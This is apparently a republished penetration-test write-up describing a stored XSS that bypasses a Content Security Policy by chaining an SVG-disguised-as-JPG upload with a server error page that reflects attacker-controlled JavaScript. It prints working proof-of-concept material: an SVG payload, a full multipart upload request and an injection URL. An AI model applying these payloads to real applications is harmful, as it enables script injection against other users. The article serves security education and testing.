Not usual CSP bypass case - Pentestmag

Not usual CSP bypass case

Not usual CSP bypass case

by Karol Mazurek


INTRODUCTION

During one of the penetration tests, I managed to chain three application issues that finally enabled the execution of the Stored XSS vulnerability.

The vulnerability combines three flaws in the application:

  1. Unrestricted file upload.
  2. Misconfigured Content Security Policy.
  3. Application error response body controlled by the user.

1. UNRESTRICTED FILE UPLOAD

The application allows users to upload images, and there is a whitelist of extensions that can be uploaded (.png | .jpg). All uploaded files are stored in the web-root folder of the server. For instance:

  • https://example.com/74d673a21b5f5d54cbc22fc3b24bcb5e.iix

The first issue is that it is possible to specify the uploaded file's content type, even if the extension in the request is (.png | .jpg).

The trick is to use a part of a JPG file at the bottom of the content:

ÿØÿàJFIFÿáVExifMM*>F(ÿâ°ICC_PROFILE lcms0mntrRGB XYZ

One thing to keep in mind, that casually the SVG file content starts with:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

In this case, the first line has to be ommit, to not throw the XML exception error because of the JPG content at the bottom of the content body.

This way, it is possible to upload SVG files to the server.


Source: Own study — The example part of the uploading request to exploit XSS through SVG upload.


Source: Own study — The example of a server response.

The file is stored with the changed extension to the .iix, but the SVG content type persists.

SVG files are problematic due to the possibility of JavaScript code injection.

2. MISCONFIGURED CSP

The JavaScript code included in the uploaded SVG file cannot be executed because an implemented CSP does not allow the unsafe inline script to execute.


Source: Own study — Content Security Policy (CSP) implemented in the application.

To analyze the possible bypasses of a CSP, you can use CSP Evaluator:


Source: Own study — Analyze of the Content Security Policy (CSP) using CSP Evaluator.

As seen above, it is possible to bypass the CSP and execute the JavaScript code that already exists in the application (default-src ‘self’).

One way of bypassing that kind of CSP is uploading the JS file with custom code and the including the URL in the <script> tag in the “src” attribute.

This is not the case since the application blocks files with a .js extension and it is impossible to use content-type: text/javascript in the upload request.

Although, it is possible to use the code already existing in the application.

3. SERVER ERROR CONTROLLED BY THE USER

The application allows the users to change the error message.

A request sent to the /uxasset/externals/ endpoint with a .jsdbx extension results in error displayed by the server to the end user.


Source: Own study — The server response after visiting the https://example.com/uxasset/externals/WHATEVER.jsdbx

  • The endpoint stores JavaScript — this is indicated by the Content-type header, which is set to text/javascript.
  • The user's path in the URL (WHATEVER) is returned in the server response body content.

This configuration allows the user to inject custom JavaScript code.

https://example.com/uxasset/externals/service-workerlct5v'-alert(document.domain)-'ddrss/loader.jsdbx

Source: Own study — The example of a server response.

It allows the URL to be included in the <script> tag in the "src" attribute. Consequently, the user can bypass CSP with the default-src 'self'.

COMBINING THE PIECES — POC

The above-mentioned flaws could be joined to exploit the Stored XSS.

1. Prepare the SVG file, which includes the custom error in its body.

  • The example of SVG content with a CSP bypass using the custom error:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> 
<polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" />
<script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" />
</svg>

One thing to keep in mind, that to use external JavaScript in the SVG content, you have to use <script href="…"> not a <script src="…">!!!

2. Upload the SVG file using UNRESTRICTED FILE UPLOAD

The example POST request:

POST /upload.do HTTP/1.1 
Host: example.com 
Content-Length: 1503
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIG0dr3B8jyshfcYq 
Accept: application/json, text/plain, */* 
Connection: close
------WebKitFormBoundaryIG0dr3B8jyshfcYq 
Content-Disposition: form-data; name="attachments_modified"

true 
------WebKitFormBoundaryIG0dr3B8jyshfcYq
Content-Disposition: form-data; name="attachFile"; filename="xss.jpg" Content-Type: image/svg+xml

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> 
<polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" />
<script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" />
</svg>

------WebKitFormBoundaryIG0dr3B8jyshfcYq--

The example server response:

HTTP/1.1 200 OK

{
"thumbnail":"74d673a21b5f5d54cbc22fc3b24bcb5e.iix",
"size_bytes":"461 B",
"content_type":"image/svg+xml"
}

3. Trigger the Stored Cross-Site Scripting with the CSP bypass.

Visit the https://example.com/74d673a21b5f5d54cbc22fc3b24bcb5e.iix

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; style-src 'self' 'unsafe-inline'
Content-Type: image/svg+xml;charset=UTF-8 
Content-Length: 461

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> 
<polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" />
<script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" />
</svg>

Source: Own study — Execution of the injected JavaScript in the context of the victim’s browser.


Originally published at: https://karol-mazurek95.medium.com/not-usual-csp-bypass-case-b538263e09d6

December 13, 2022
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

Privacy Preference Center

Necessary

Cookies that are necessary for the site to function properly. This includes, storing the user's cookie consent state for the current domain, managing users carts to using the content network, Cloudflare, to identify trusted web traffic. See full Cookies declaration

gdpr, PYPF, woocommerce_cart_hash, woocommerce_items_in_cart, _wp_wocommerce_session, __cfduid [x2],

Performance

These are used to track user interaction and detect potential problems. These help us improve our services by providing analytical data on how users use this site.

_global_lucky_opt_out, _lo_np_, _lo_cid, _lo_uid, _lo_rid, _lo_v, __lotr
_ga, _gid, _gat, __utma, __utmt, __utmb, __utmc, __utmz
vuid

Advertising


tr, fr
ads/ga-audiences